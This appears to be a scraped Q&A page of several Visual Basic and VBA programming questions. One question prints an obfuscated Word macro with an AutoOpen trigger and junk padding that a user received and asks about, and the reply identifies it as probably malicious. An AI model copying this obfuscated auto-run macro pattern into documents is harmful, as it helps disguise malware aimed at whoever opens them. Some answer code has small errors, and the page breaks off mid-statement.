I'm having a problem with my existing code.
This code works fine,
Public Function jewel_intrate_new(ByVal duration As Integer) As String
Select Case duration
Case 0 : max2 = "0%"
Case 1 To 33 : max2 = "3.5%"
Case 34 To 63 : max2 = "9%"
Case 64 To 93 : max2 = "14.5%"
Case 94 To 123 : max2 = "20%"
Case 124 To 153 : max2 = "25.5%"
Case 154 To 183 : max2 = "31%"
Case 184 To 213 : max2 = "36.5%"
Case 214 To 243 : max2 = "42%"
Case 244 To 273 : max2 = "47.5%"
Case 274 To 303 : max2 = "53%"
Case 304 To 333 : max2 = "58.5%"
Case 334 To 363 : max2 = "64%"
Case 364 To 393 : max2 = "69.5%"
Case 394 To 423 : max2 = "75%"
Case 424 To 453 : max2 = "80.5%"
Case 454 To 483 : max2 = "86%"
Case 484 To 513 : max2 = "91.5%"
Case 514 To 543 : max2 = "97%"
Case 544 To 573 : max2 = "102.5%"
Case 574 To 603 : max2 = "108%"
Case 604 To 633 : max2 = "113.5%"
Case 634 To 663 : max2 = "119%"
Case 664 To 693 : max2 = "124.5%"
End Select
Return max2
End Function
All i want is to make my app as editable the values so i update the code as follows:
Private Sub Button1_Click_1(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim x As Double = 3.5 * 100, z As Integer, duration As Integer = TextBox1.Text
Dim jj As Double = 3.5
Select Case duration
Case 0
jj = 0
Case 1 To 33
jj = 3.5
Case 34 To 9999
z = (duration / 30)
For i As Integer = 1 To z
jj += 3.5 + 2 'this will be editable in database.
Next
End Select
Label1.Text = jj & "%"
End Sub
But they don't have the same output.
Is there anyway to make my function simpler and shorter?
monthly interest is 3.5%
penalty interest is 2% after 33 days
monthly is 30 days plus 3 days grace period
These results should match your Select Case but you can pass in any interest rate or penalty interest. Import System.Math. Test against your Select Case.
Private Function Calculate(ByVal Duration As Integer, InterestRate As Double, PenaltyRate As Double) As Double
Dim Rate As Double
Dim Multiplier As Integer = CInt(Math.Ceiling((Duration - 3) / 30))
Rate = Multiplier * InterestRate + PenaltyRate * (Multiplier - 1)
Return Rate
End Function
Related
I built a Userform consisting of 2 columns, each with 10 rows of text boxes. Users input and save information which later get pasted onto corresponding cells by clicking "save".
For convenience purposes, the default Userform_initialise is set with with specific measurements as to hide, with the help of a frame, the rows which are not currently used. If the user thinks he will need 5 rows, clicking on the button five time will edit these measurements to increase the size of the frame, unhiding the rows.
The problem is when the user completes more than one row, saves the userform, opens it again, and tries to add more rows. The userform will initialise showing the completed rows (e.g. 1-3), but clicking on "add line" to add additional rows will require 3 null clicks (as rows 1-3 are already unhidden), before the counter catches up and starts displaying additional rows as of the 4th click.
Screenshot
Private Sub commandbutton3_Click()
Static Counter As Integer
Counter = Counter + 1
If Counter = 1 Then
If Frame1.Height = 60 Then
UserForm.Height = 174
Frame1.Height = 90
CommandButton1.Top = 110
CommandButton2.Top = 110
commandbutton3.Top = 110
End If
End If
If Counter = 2 Then
If Frame1.Height = 90 Then
UserForm.Height = 204
Frame1.Height = 120
CommandButton1.Top = 140
CommandButton2.Top = 140
commandbutton3.Top = 140
End If
End If
Reset
If Counter = 3 Then
If Frame1.Height = 120 Then
UserForm.Height = 234
Frame1.Height = 150
CommandButton1.Top = 170
CommandButton2.Top = 170
commandbutton3.Top = 170
End If
End If
Reset
If Counter = 4 Then
If Frame1.Height = 150 Then
UserForm.Height = 264
Frame1.Height = 180
CommandButton1.Top = 200
CommandButton2.Top = 200
commandbutton3.Top = 200
End If
End If
If Counter = 5 Then
If Frame1.Height = 180 Then
UserForm.Height = 294
Frame1.Height = 210
CommandButton1.Top = 230
CommandButton2.Top = 230
commandbutton3.Top = 230
End If
End If
If Counter = 6 Then
If Frame1.Height = 210 Then
UserForm.Height = 324
Frame1.Height = 240
CommandButton1.Top = 260
CommandButton2.Top = 260
commandbutton3.Top = 260
End If
End If
If Counter = 7 Then
If Frame1.Height = 240 Then
UserForm.Height = 355
Frame1.Height = 270
CommandButton1.Top = 290
CommandButton2.Top = 290
commandbutton3.Top = 290
End If
End If
If Counter = 8 Then
If Frame1.Height = 270 Then
UserForm.Height = 382
Frame1.Height = 300
CommandButton1.Top = 320
CommandButton2.Top = 320
commandbutton3.Top = 320
End If
End If
If Counter = 9 Then
If Frame1.Height = 300 Then
UserForm.Height = 413
Frame1.Height = 330
CommandButton1.Top = 350
CommandButton2.Top = 350
commandbutton3.Top = 350
End If
End If
If Counter = 10 Then
If Frame1.Height = 330 Then
UserForm.Height = 564
Frame1.Height = 480
CommandButton1.Top = 500
CommandButton2.Top = 500
commandbutton3.Top = 500
End If
End If
If Counter > 10 Then
If Frame1.Height = 480 Then
MsgBox ("You have reached the maximum number of entries!"), vbEINFORMATION, "TRACKER"
End If
End If
For setting control/form position/height according to the value of Counter.
My math may be be off, but you get the idea:
Private Sub commandbutton3_Click()
Static Counter As Integer, incr As Long
Counter = Counter + 1
incr = (Counter - 1) * 30
UserForm.Height = 174 + incr
Frame1.Height = 60 + incr
CommandButton1.Top = 110 + incr
CommandButton2.Top = CommandButton1.Top
commandbutton3.Top = CommandButton1.Top
If Counter > 10 Then
MsgBox ("You have reached the maximum number of entries!"), vbInformation, "TRACKER"
End If
End If
So I was just wondering how to calculate an average in visual basic code?
I currently have a form created and the user is to enter 6 numbered for 6 courses and they must be in textboxes. I know that average is the 6 numbers added together divided by the count but I don't know how to grab the numbers from the textbox to calculate the average.
I've searched online for the answer to this but nothing pertains to this exact problem. My textbook is also of no help.
Any help would be greatly appreciated.
Dim input As Integer
If Integer.TryParse(InputTextbox1.Text, input) Then
If input >= 92 And input <= 100 Then
OutputTextbox1.Text = "A+"
ElseIf input >= 88 And input <= 91 Then
OutputTextbox1.Text = "A"
ElseIf input >= 85 And input <= 87 Then
OutputTextbox1.Text = "A-"
ElseIf input >= 82 And input <= 84 Then
OutputTextbox1.Text = "B+"
ElseIf input >= 78 And input <= 81 Then
OutputTextbox1.Text = "B"
ElseIf input >= 75 And input <= 77 Then
OutputTextbox1.Text = "B-"
ElseIf input >= 72 And input <= 74 Then
OutputTextbox1.Text = "C+"
ElseIf input >= 68 And input <= 71 Then
OutputTextbox1.Text = "C"
ElseIf input >= 65 And input <= 67 Then
OutputTextbox1.Text = "C-"
ElseIf input >= 55 And input <= 64 Then
OutputTextbox1.Text = "D"
ElseIf input <= 54 Then
OutputTextbox1.Text = "F"
End If
Else
ErrorTextbox.Text = "Please ensure that what you input is a number between 0 and 100"
End If
This is the code I have currently there is 6 textboxes using the above code to transfer numbers to letters. The numbers that the user enters is what i need to calculate into the average.
Thanks
Try this:
first thing i did is that i total all textbox numbers and then divide to total number so that i can get the average
Note: dont allow textbox to input a letters because it will error
i converted the textbox text to double so that it will consider as number and not letters.
Public Class Form4
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim average As Double = 0.0
Dim total As Double = 0.0
total = CDbl(TextBox1.Text) + CDbl(TextBox2.Text) + CDbl(TextBox3.Text) + CDbl(TextBox4.Text) + CDbl(TextBox5.Text) + CDbl(TextBox6.Text)
average = total / 6
TextBox7.Text = average.ToString()
End Sub
End Class
Modified: The label_grade is the letter of the grade
Public Class Form4
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim average As Double = 0.0
Dim total As Double = 0.0
total = CDbl(TextBox1.Text) + CDbl(TextBox2.Text) + CDbl(TextBox3.Text) + CDbl(TextBox4.Text) + CDbl(TextBox5.Text) + CDbl(TextBox6.Text)
average = total / 6
TextBox7.Text = average.ToString()
If average >= 92 And average <= 100 Then
label_Grade.Text = "A+"
ElseIf average >= 88 And average <= 91 Then
label_Grade.Text = "A"
ElseIf average >= 85 And average <= 87 Then
label_Grade.Text = "A-"
ElseIf average >= 82 And average <= 84 Then
label_Grade.Text = "B+"
ElseIf average >= 78 And average <= 81 Then
label_Grade.Text = "B"
ElseIf average >= 75 And average <= 77 Then
label_Grade.Text = "B-"
ElseIf average >= 72 And average <= 74 Then
label_Grade.Text = "C+"
ElseIf average >= 68 And average <= 71 Then
label_Grade.Text = "C"
ElseIf average >= 65 And average <= 67 Then
label_Grade.Text = "C-"
ElseIf average >= 55 And average <= 64 Then
label_Grade.Text = "D"
ElseIf average <= 54 Then
label_Grade.Text = "F"
End If
End Sub
I want to create a function which give me what contribution an employee has to make to a pension plan in function of its salary (with given down and upper limit) and in function of its age (doesn't contribute before 25 and after 64).
With the following code, I try to achieve that. I may have spend too much time on front of my screen but i don't see the problem. The debugger runs fine but I keep getting a "#Value!" alert. It may be the If-statment within another If. If someone may see where the problem could be, it would be very helpful
Option Explicit
Constant M = 1175
Function coti_min_LPP(x As Integer, salaire_AVS As Double)
Dim salaire_coord As Double
'The basis for the calculation uses the salary in different layers
If salaire_AVS < 18 * M Then
salaire_coord = 0
ElseIf salaire_AVS > 18 * M And salaire_AVS < 24 * M Then
salaire_coord = 3 * M
ElseIf salaire_AVS > 24 * M Then
salaire_coord = salaire_AVS - 21 * M
End If
'Under a certain limit, the contribution is a percentage of the basis
'according to the age
If salaire_AVS < 72 * M Then
If x < 25 Then
coti_min_LPP = 0
ElseIf x > 24 And x < 35 Then
coti_min_LPP = salaire_coord * 0.07
ElseIf x > 34 And x < 45 Then
coti_min_LPP = salaire_coord * 0.1
ElseIf x > 44 And x < 55 Then
coti_min_LPP = salaire_coord * 0.15
ElseIf x > 54 And x < 65 Then
coti_min_LPP = salaire_coord * 0.18
ElseIf x > 64 Then
coti_min_LPP = 0
End If
Else
'Above the limit, it is the percentage of a fixed amount
If x < 25 Then
coti_min_LPP = 0
ElseIf x > 24 And x < 35 Then
coti_min_LPP = 51 * M * 0.07
ElseIf x > 34 And x < 45 Then
coti_min_LPP = 51 * M * 0.1
ElseIf x > 44 And x < 55 Then
coti_min_LPP = 51 * M * 0.15
ElseIf x > 54 And x < 65 Then
coti_min_LPP = 51 * M * 0.19
ElseIf x > 64 Then
coti_min_LPP = 0
End If
End If
End Function
There are two immediate things that result in an issue:
Instead of Constant M = 1175 you should use Private Const M As Long = 1175. Why Long? Please look at the line If salaire_AVS < 72 * M Then if you add watch and go through your code in the debbuger you will find out that, if M is declared as an integer, after this line (according to watch window) M has value "out of context". This is basically due to the fact that you have achieved integer overflow. Please consider following code:
Example 1:
Sub test2()
Dim a As Integer
Dim b As Double
a = 1175
b = 15
Debug.Print b < 72 * a
End Sub
Option Explicit is a good practice, however requires you to declare all of the variables in your code. Declare them. You may remove Option Explicit for testing purposes. Some lecture on variable declaration: http://www.excelfunctions.net/VBA-Variables-And-Constants.html
After above changes your function works for me (tested =coti_min_LPP(27,19*1175))
Hope that helps. Btw. Please notice that having so many nested ifs with hardcoded values is troublesome to maintain, control and usually is not considered as good coding practice.
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about a specific programming problem, a software algorithm, or software tools primarily used by programmers. If you believe the question would be on-topic on another Stack Exchange site, you can leave a comment to explain where the question may be able to be answered.
Closed 5 years ago.
Improve this question
i received a word file with macro enabled, it said i need to click enable edit and enable content. I don't know how it would harm my computer and what I can do. The code looks strange.
Rem Attribute VBA_ModuleType=VBAModule
Option VBASupport 1
Sub AutoOpen()
zYl8LU = 140 - 90
Select Case zYl8LU
Case 1 * 7
NSBbg = 19
Case -825 + 853
vRK0385 = sDR7y
End Select
FudXt = 140 - 90
Select Case FudXt
Case 1 * 7
WdHFC = 27810.228973731
Case -825 + 853
dkreiq5yC = 10421
Case -93 + 137
aZUyt = 0
Case Else
ekgqhBtV = 10421
End Select
SRpy1t = 140 - 90
Select Case SRpy1t
Case 1 * 7
GLBxOsi = 133
Case -825 + 853
HgYPRHnt = 7319
End Select
CYw0VZ6 = 140 - 90
Select Case CYw0VZ6
Case 1 * 7
kXgxDW = 0
Case -825 + 853
eaSro = 59419.351057152
Case -93 + 137
zI8odDt = 13328.911402785
Case Else
QLt137d = 0
End Select
xWrc2G7XR = 257 + 78
If xWrc2G7XR = 2856 / 238 Then
ZN3i5v2l = 10325.065127857
Else
dRM3KkJO = -386564602
End If
FFm9dSMyu = ZN3i5v2l & dRM3KkJO
T7VrP = 257 + 78
If T7VrP = 2856 / 238 Then
eKMe9Z = -583164030
ElseIf T7VrP = -1161 + 1184 Then
x0Rsq = 61850.103247594
Else
ccS08UW1 = 11654
End If
YBKpe2Hc = eKMe9Z & x0Rsq & ccS08UW1
uQFtV9 = 405 - 322
Select Case uQFtV9
Case 2856 / 238
UrOQ9 = True
Case -1161 + 1184
pRfA0 = 5
Case -205 + 241
rXbkZNE9 = fsegK
Case Else
SsnKbEmX = 5
End Select
aV02bBASF = 405 - 322
Select Case aV02bBASF
Case 2856 / 238
ZH7uh = 50733.062191568
Case -1161 + 1184
SDugEpkqU = 28986.675837083
Case -205 + 241
xqJ4GbFd6 = 50733.062191568
End Select
E7zIr = 774 + 25
If E7zIr = -1408 + 1424 Then
jrl7ZSDy = 22451.019039016
End If
QPmtR1N = QPmtR1N & jrl7ZSDy
Cl6b0 = 78 - 4
Select Case Cl6b0
Case -1408 + 1424
D9yUdBN = 51545.623423224
End Select
jsvuINFw = 78 - 4
Select Case jsvuINFw
Case -1408 + 1424
RMOqsk = 37900.781209427
End Select
XqX6DYSUB = 774 + 25
If XqX6DYSUB = -1408 + 1424 Then
YX4lTzV = -2086728548
End If
P2GdCVR4S = P2GdCVR4S & YX4lTzV
le0E4M8 = -337 + 388
Select Case le0E4M8
Case 20671 - 20670
q5B2DjtHP = -1600997174
Case 507 - 479
ypUFY = -25685
Case 366 - 332
HIvLxb9 = VWoGh
Case Else
L0LCc = 53377.031593319
End Select
sijTZpe = -337 + 388
Select Case sijTZpe
Case 20671 - 20670
fA59tJnS = h1yHSi
End Select
WVIA8Q = 17244 / 18
If WVIA8Q = 20671 - 20670 Then
yhxT0A8 = zRoal2Tvz
Else
BL0dM = 0
End If
MrmSfU7Fk = yhxT0A8 & BL0dM
V4PMn = gAbLFX("mshSHEPF")
zswmTdK0I = 881 - 10
If zswmTdK0I = -833 + 841 Then
oomKs9 = 53
End If
lhPcD71 = lhPcD71 & oomKs9
p1VLDnIZ = -1312 + 1322
Select Case p1VLDnIZ
Case -833 + 841
CIyZR7kl = -1864671148
Case -1634 + 1650
RWaGNgq3P = 37860.668874852
End Select
NA0ges = -1312 + 1322
Select Case NA0ges
Case -833 + 841
a5UuX198x = 3614.7434487404
End Select
LcVMZ7 = 881 - 10
If LcVMZ7 = -833 + 841 Then
Tus0UPyI = Ubz2f4S
End If
SDkEpux3 = SDkEpux3 & Tus0UPyI
fuZ2zx = 881 - 10
If fuZ2zx = -833 + 841 Then
PhRMfkqs = 26914
Else
qxA24fgmU = False
End If
wg0xB1 = PhRMfkqs & qxA24fgmU
uvO14rJkT = 32445 / 35
If uvO14rJkT = 1026 - 1018 Then
Nb7fXTSxd = False
End If
FE86WlPX = FE86WlPX & Nb7fXTSxd
y8cwKeO = 306 - 240
Select Case y8cwKeO
Case 1026 - 1018
kyk76 = IZaP3Eh
End Select
MFXMQ82Nf = 306 - 240
Select Case MFXMQ82Nf
Case 1026 - 1018
LpZrS9 = 27404
Case 1093 - 1076
uKM2Nl = 44747.039996449
Case 311 - 251
zIkLADKy = 44747.039996449
Case Else
k56fG = 37277.081694579
End Select
wHewcADC = 306 - 240
Select Case wHewcADC
Case 1026 - 1018
s9vXr5KLS = sPuLOZ
Case 1093 - 1076
pEqp0bckt = False
Case 311 - 251
Ft3GY = -4678
End Select
dn2YDeOih = 127 - 58
Select Case dn2YDeOih
Case -969 + 985
Sqzkt = 26686.02264767
Case 18634 / 847
frIHqDv8 = 26686.02264767
End Select
NUgG0mkTO = 127 - 58
Select Case NUgG0mkTO
Case -969 + 985
csgGQHJi = -1780518846
Case 18634 / 847
lARq3N = GidTvhu
End Select
IFwa6 = 127 - 58
Select Case IFwa6
Case -969 + 985
n0cC5O4w = 57552.170757369
Case 18634 / 847
pwEal3 = 178
Case 25346 / 667
jGPKahw2 = 178
End Select
Y8xLT = 936 - 905
Select Case Y8xLT
Case 10140 / 780
HC3MePa = 0
Case 10908 / 404
KMdyl = 36154.553870784
Case 313 - 262
QRqx9E = -10436
Case Else
fcnqVgSOv = 36154.553870784
End Select
vZBe0qfh = 936 - 905
Select Case vZBe0qfh
Case 10140 / 780
auHDbIoiv = ETVEQs
Case 10908 / 404
h9VOZP64Q = False
Case 313 - 262
UbemDlsc = 48591.013672507
End Select
NDFTfKs = -812 + 842
If NDFTfKs = 10140 / 780 Then
LFpt7YT = -14056
End If
jW5njw = jW5njw & LFpt7YT
hMlU5To = 936 - 905
Select Case hMlU5To
Case 10140 / 780
BqfmLWh0a = 230
Case 10908 / 404
L6xG5b = 230
Case 313 - 262
jeP6E = True
End Select
Grj6KDOG9 = 936 - 905
Select Case Grj6KDOG9
Case 10140 / 780
rXagpRv7 = 141
Case 10908 / 404
N8bNd05 = 15497.7025565
End Select
PHR3iV6 = 4135 / 5
If PHR3iV6 = 24872 / 3109 Then
T4a8FruKv = 65498.555792898
End If
tCs98D0 = tCs98D0 & T4a8FruKv
jPoX8FZ7 = -161 + 241
Select Case jPoX8FZ7
Case 24872 / 3109
UMgQ4DI = True
End Select
sC9ft = 4135 / 5
If sC9ft = 24872 / 3109 Then
rtVIp7s = 0
ElseIf sC9ft = 822 - 799 Then
YUDV9S = 0
Else
R7MGqtve = 65390.720612908
End If
SarTnOHX = rtVIp7s & YUDV9S & R7MGqtve
ZX9RVpwO = 4135 / 5
If ZX9RVpwO = 24872 / 3109 Then
L0wLmni = 40877.62679699
ElseIf ZX9RVpwO = 822 - 799 Then
Yn1BfFp = 132
Else
vqr5YgBj = QDlMhK25
End If
y763siX9 = L0wLmni & Yn1BfFp & vqr5YgBj
txSnY4Ok5 = -1486 + 1506
Select Case txSnY4Ok5
Case 6988 - 6985
MBdL4zjJt = 2954
Case 270 - 242
jjuzyEMw = True
Case -267 + 307
ArwftV08 = tAIYEoZCc
End Select
lhQdHS = -1486 + 1506
Select Case lhQdHS
Case 6988 - 6985
VOoZY25qQ = ot7Hv
End Select
pNfWeIH4 = 354 - 242
If pNfWeIH4 = 6988 - 6985 Then
gF6r42k = 31895
Else
cGyVb = -132123098
End If
ST7uV0GiU = gF6r42k & cGyVb
BfkYUW = -1486 + 1506
Select Case BfkYUW
Case 6988 - 6985
K9H2aB = 229
Case 270 - 242
vZ0x7Q = 24561.425828122
Case -267 + 307
he3I7 = 20052.864527103
Case Else
MroRE4PN9 = 24561.425828122
End Select
dfFDqS = 299 - 28
If dfFDqS = -802 + 816 Then
w9t5s = 30570
Else
e0S2u7F9y = 5288.9219885736
End If
GGx6brlB = w9t5s & e0S2u7F9y
IMixODnzC = -82 + 198
Select Case IMixODnzC
Case -802 + 816
B0LkE = 43757.679760976
Case -750 + 781
IONvALW = 208
Case 621 - 565
nvOfM = -2012572398
End Select
A6PA4Sq = -82 + 198
Select Case A6PA4Sq
Case -802 + 816
a3REnvPT = 28257
Case -750 + 781
FiUyHapV = R1uwhxGag
Case 621 - 565
cjvU1x = 38935.320352693
End Select
ciulcj5Nr = 299 - 28
If ciulcj5Nr = -802 + 816 Then
Kd7frxe = 26096.650033059
Else
RN9ACS = 0
End If
ge8GOJk = Kd7frxe & RN9ACS
Ve7dN = 299 - 28
If Ve7dN = -802 + 816 Then
sru3kh = 0
ElseIf Ve7dN = -750 + 781 Then
xxZKS = False
Else
u8LaXtg5w = 28571
End If
ul0mkse = sru3kh & xxZKS & u8LaXtg5w
cBbOFwR = 863 + 16
If cBbOFwR = 3559 - 3552 Then
B0LJA3RY = cFXKoxO1y
End If
iM4me = iM4me & B0LJA3RY
QGOel8w = 29716 / 323
Select Case QGOel8w
Case 3559 - 3552
uyhpR = 17990
End Select
hbNP5 = 29716 / 323
Select Case hbNP5
Case 3559 - 3552
d3j9x = 223
Case 1295 - 1275
HsytUJ1u = 19003.146080133
Case -417 + 466
BJXTRQZO = 223
Case Else
GcPtkBL0 = 19003.146080133
End Select
cidf9UPF = 32356 / 8089
Select Case cidf9UPF
Case 25095 / 1673
lC0gFL5 = 0
Case 1201 - 1176
G2uoNevK = -30059
Case -203 + 238
LprLD = True
End Select
tuxfTO = 32356 / 8089
Select Case tuxfTO
Case 25095 / 1673
mzAFt = 26332.298634877
Case 1201 - 1176
eHQYg4 = 42860.166301563
Case -203 + 238
tlAHqIJg = 42860.166301563
Case Else
DDmd04Kk = 27
End Select
J51R0 = 32356 / 8089
Select Case J51R0
Case 25095 / 1673
MvcIM4qEf = 31818.047230563
End Select
x1RCbe = 30825 / 45
If x1RCbe = 30224 / 1889 Then
F0yjc = 9187.3630967158
ElseIf x1RCbe = 1278 - 1253 Then
DAuvkxez7 = False
Else
T2yo37gql = 51185.45718678
End If
Fxt1Nw = F0yjc & DAuvkxez7 & T2yo37gql
SBOHZ36qu = 17520 / 365
Select Case SBOHZ36qu
Case 30224 / 1889
xdDLO = -32061
Case 1278 - 1253
gSnwRQUj = 129
Case 251 - 204
xlAr3 = 60708.929833781
End Select
hlBsHrqO = 30825 / 45
If hlBsHrqO = 30224 / 1889 Then
ifEnkzu = 0
ElseIf hlBsHrqO = 1278 - 1253 Then
zwRWq = 20905
Else
BskuK6wj = 0
End If
CmS73rZRc = ifEnkzu & zwRWq & BskuK6wj
XfFQjh25K
xo43w5lu = 17894 / 389
Select Case xo43w5lu
Case -1620 + 1635
CMWhUVz6 = False
Case -544 + 565
kZaV7 = -205119824
Case 359 - 310
kdL7X = 5243.9754685986
End Select
dz1gKu = 811 - 11
If dz1gKu = -1620 + 1635 Then
XQg1yel = JsXVuth6
ElseIf dz1gKu = -544 + 565 Then
E5iBzC = 0
Else
iaNvD7Q = False
End If
z4LGT6o = XQg1yel & E5iBzC & iaNvD7Q
rNE1e = 17894 / 389
Select Case rNE1e
Case -1620 + 1635
NqiYQP82v = 0
Case -544 + 565
qdPZbDi = 65
Case 359 - 310
jkClmptf1 = 65
Case Else
FINWS619 = 22755.530788704
End Select
e4cng = 811 - 11
If e4cng = -1620 + 1635 Then
JWcslfBm = True
ElseIf e4cng = -544 + 565 Then
AyrBUGjzO = vUag8
Else
SQsVqRlOT = 90
End If
ZWxMz3P = JWcslfBm & AyrBUGjzO & SQsVqRlOT
hp8Rl = 176 - 144
Select Case hp8Rl
Case 22745 / 4549
EMW8HF = False
Case 394 - 373
kTIX8WsS = 17823.832042435
Case -410 + 470
ZETHoU = 23187
End Select
wKI2W = 176 - 144
Select Case wKI2W
Case 22745 / 4549
ZeSUHV = 13921.382511461
Case 394 - 373
Bf78hLICA = 0
Case -410 + 470
Z4CG5 = 63433.361755063
Case Else
W4I7lyMY = -28703
End Select
A2p1uh = 176 - 144
Select Case A2p1uh
Case 22745 / 4549
PDVcbz5 = KrPMk4Qo
Case 394 - 373
cwEQUDmP0 = 38785.425785266
Case -410 + 470
NQSeig = 7691.4653191352
Case Else
SGa12XmW = 7691.4653191352
End Select
RD2wX7L = 541 - 46
If RD2wX7L = 22745 / 4549 Then
ez1bH = 25496.826771965
End If
GGyYTr = GGyYTr & ez1bH
S4Bm0sKC = 554 * 1
If S4Bm0sKC = 23130 / 2313 Then
zbaTYKPi1 = True
End If
BNIAW = BNIAW & zbaTYKPi1
Kz5FgU = 554 * 1
If Kz5FgU = 23130 / 2313 Then
fJR1uI = uZ2xoc
ElseIf Kz5FgU = -19 + 36 Then
h9vct = 47423.662312704
Else
Y896b1c = False
End If
aeEPBux = fJR1uI & h9vct & Y896b1c
jmWUzs5R = 914 - 906
Select Case jmWUzs5R
Case 23130 / 2313
FG6jmtSDg = 77
Case -19 + 36
CHi6n3O1 = 49290.204713267
End Select
l5Nx2AWI = 914 - 906
Select Case l5Nx2AWI
Case 23130 / 2313
Pvs08u = 18918.73116719
Case -19 + 36
UU4GTRMbx = -10916
Case -775 + 811
UUgYG = False
End Select
RYCBiM6Ls = 914 - 906
Select Case RYCBiM6Ls
Case 23130 / 2313
IiHKzZy = -902621048
Case -19 + 36
fVUMG2 = -902621048
End Select
I8Tu2mZ3 = 66 * 11
If I8Tu2mZ3 = 2457 / 273 Then
kR1z2FbT = 65
Else
qJfszwIQ = 50600.207830897
End If
aM7zkw = kR1z2FbT & qJfszwIQ
c6s8X = -523 + 579
Select Case c6s8X
Case 2457 / 273
CkuNzl = 13854
Case 902 - 881
kwRWIJSvl = -1478128200
End Select
NaYwNuz = 66 * 11
If NaYwNuz = 2457 / 273 Then
dC9E6sFJ2 = EhmKT4P
Else
aBlcLKIi = 103
End If
mjw9LgNP = dC9E6sFJ2 & aBlcLKIi
bNsXm = -523 + 579
Select Case bNsXm
Case 2457 / 273
mrQ4d = -1214212190
Case 902 - 881
pIQiYvh16 = 68
Case 29995 / 857
Dqxv76 = 31930.540878415
Case Else
HLfXMuOo = -20530
End Select
Oc8hzilG = 1004 - 8
If Oc8hzilG = 26736 / 8912 Then
IOiXSau = ZFvB6ow9
End If
trf3G = trf3G & IOiXSau
CuKBdLD = 1004 - 8
If CuKBdLD = 26736 / 8912 Then
UlFkMX = 5177.240919898
Else
lMVGJ3Cy = -1078933528
End If
V63WZRKP = UlFkMX & lMVGJ3Cy
ghnke = 1004 - 8
If ghnke = 26736 / 8912 Then
hLrbJA2 = 7607.2485538094
End If
jzR6WjP = jzR6WjP & hLrbJA2
px5UhcA = -262 + 354
Select Case px5UhcA
Case -108 + 116
q5gLV9HR = 54833.284619535
Case 22540 / 805
PEu4w2cg = 140
Case 5375 / 125
oti0eC = 140
End Select
VQMy5icx = -262 + 354
Select Case VQMy5icx
Case -108 + 116
Qd4TE = 35310.617079435
Case 22540 / 805
VMrfwN9t6 = -22282
Case 5375 / 125
jg0TYb = -1434472100
End Select
IeFVHUMwD = -262 + 354
Select Case IeFVHUMwD
Case -108 + 116
MP9a0t = 135
Case 22540 / 805
sEhQ6iUk = 0
End Select
fSL0QA = -262 + 354
Select Case fSL0QA
Case -108 + 116
l8Z6v = 132
Case 22540 / 805
BnlpePKd = -1516403338
Case 5375 / 125
Bf6ieC = -1516403338
Case Else
YTZAy = 54823.592872626
End Select
liSRje = 31668 / 91
If liSRje = 6600 / 600 Then
QIuDtW2 = 1203
Else
IOiHC5X = 1203
End If
ITRMzJ3c = QIuDtW2 & IOiHC5X
v7SAKOjr = 5790 - 5786
Select Case v7SAKOjr
Case 6600 / 600
UyNK2lJvU = 192
Case -1261 + 1285
ZcUYKJi = -2000961406
Case -329 + 391
VzAd4B = False
End Select
UoULJk7X = 5790 - 5786
Select Case UoULJk7X
Case 6600 / 600
ySyUk4 = 249
Case -1261 + 1285
Tb6sVOv = 249
Case -329 + 391
qe5AwZt = 63434.107013487
End Select
D0q53H = 5790 - 5786
Select Case D0q53H
Case 6600 / 600
JXB7Ye0N5 = JIMW37P4u
Case -1261 + 1285
kYEJ0 = False
End Select
BLKnRS = 16100 / 20
If BLKnRS = 11460 / 764 Then
nGjiSlU = -27875
Else
GuXHvZagC = -27875
End If
j6JmAMBlE = nGjiSlU & GuXHvZagC
IUBWd1wp = 16100 / 20
If IUBWd1wp = 11460 / 764 Then
QZUyLs = 5964
Else
bvh7ojeu = False
End If
wOBNFiZr = QZUyLs & bvh7ojeu
SGdylDB = 4074 / 97
Select Case SGdylDB
Case 11460 / 764
CXw7Oy0zA = 30038
Case -1429 + 1447
ZvEk7pa5q = 41866.127853656
Case -786 + 818
Z2kxS = False
End Select
End Sub
Will it actually run with my computer at last?
This question is off-topic for SO, but I'll throw you the best bone I can.
In short; chances are it is malicious.
Don't run it or use it; delete the code and delete the file. Notify the sender that the file was infected and request a new file once they've cleared their computer and/or documents.
Specific malware analysis is probably off-topic on most SE sites. If you have general questions ("how do I protect against malicious VBA code?" or "I opened a document containing malicious VBA code, what do I do now?") take a look at ITsec.SE.
I am using a function that i saw here on Stackoverflow:
Function EXTRACTELEMENT(Txt, n, Separator) As String
EXTRACTELEMENT = Split(Application.Trim(Txt), Separator)(n - 1)
End Function
It was spliting an array of data, like this:
sRN LMDscandata sRA LMDscandata 1 1 F97BBF 0 0 6D2A 6D2D 71F5A0FA 71F5FD85 0 0 7 0 0 1388 168 0 1 DIST1 3F800000 00000000 D9490 1388 5 6E2 6DC 6E3 6ED 6E1 0 0 0 0 0 0
But when i tried to increase the amount of data:
sRN LMDscandata sRA LMDscandata 1 1 F97BBF 0 0 FCDF FCE2 9DC90606 9DC9637B 0 0 7 0 0 1388 168 0 1 DIST1 3F800000 00000000 C3500 1388 3D 525 50B 518 508 51D 50A 51A 502 514 50F 502 51C 50E 51C 50E 4FF 509 505 50B 4F9 505 51B 513 516 501 50F 509 4FE 505 508 50C 507 50C 50E 51A 511 514 528 511 519 524 52E 526 522 524 535 534 52E 527 52F 52E 53D 52F 550 535 547 548 559 551 557 558 0 0 0 0 0 0
An error is occuring and the VBA returns an error window and no data is split. How can I fix it?
This is the full code, I am coding it to test a sensor output, where I receive some important data in hex & ascii and then transform to dec and make some graphs. This is the function that convert the values.
If someone can also give some tips on the Sub, I would appreciate it.
Sub ler()
Dim ncell
Dim vArr, col
Dim counter, elem_end As Integer
Dim rng1, rng2 As String
Set ascii = ThisWorkbook.Worksheets("ASCII")
Set medidas = ThisWorkbook.Worksheets("Medidas")
'Valor da última linha preenchida da coluna A'
ncell = ascii.Range("A65536").End(xlUp).Row
'Número de elementos'
elem_end = ascii.Range("B" & ncell).Value
For counter = 1 To elem_end
counterplus = counter + 2
vArr = Split(Cells(1, counterplus).Address(True, False), "$")
Col_Letter = vArr(0)
col = Col_Letter
Let rng1 = col & ncell
Let rng2 = "A" & ncell
ascii.Range(rng1).NumberFormat = "#"
ele = EXTRACTELEMENT(ascii.Range(rng2), counter, " ")
ascii.Range(rng1).FormulaR1C1 = ele
Next
With ascii.Range(Cells(ncell, 1), Cells(ncell, counterplus))
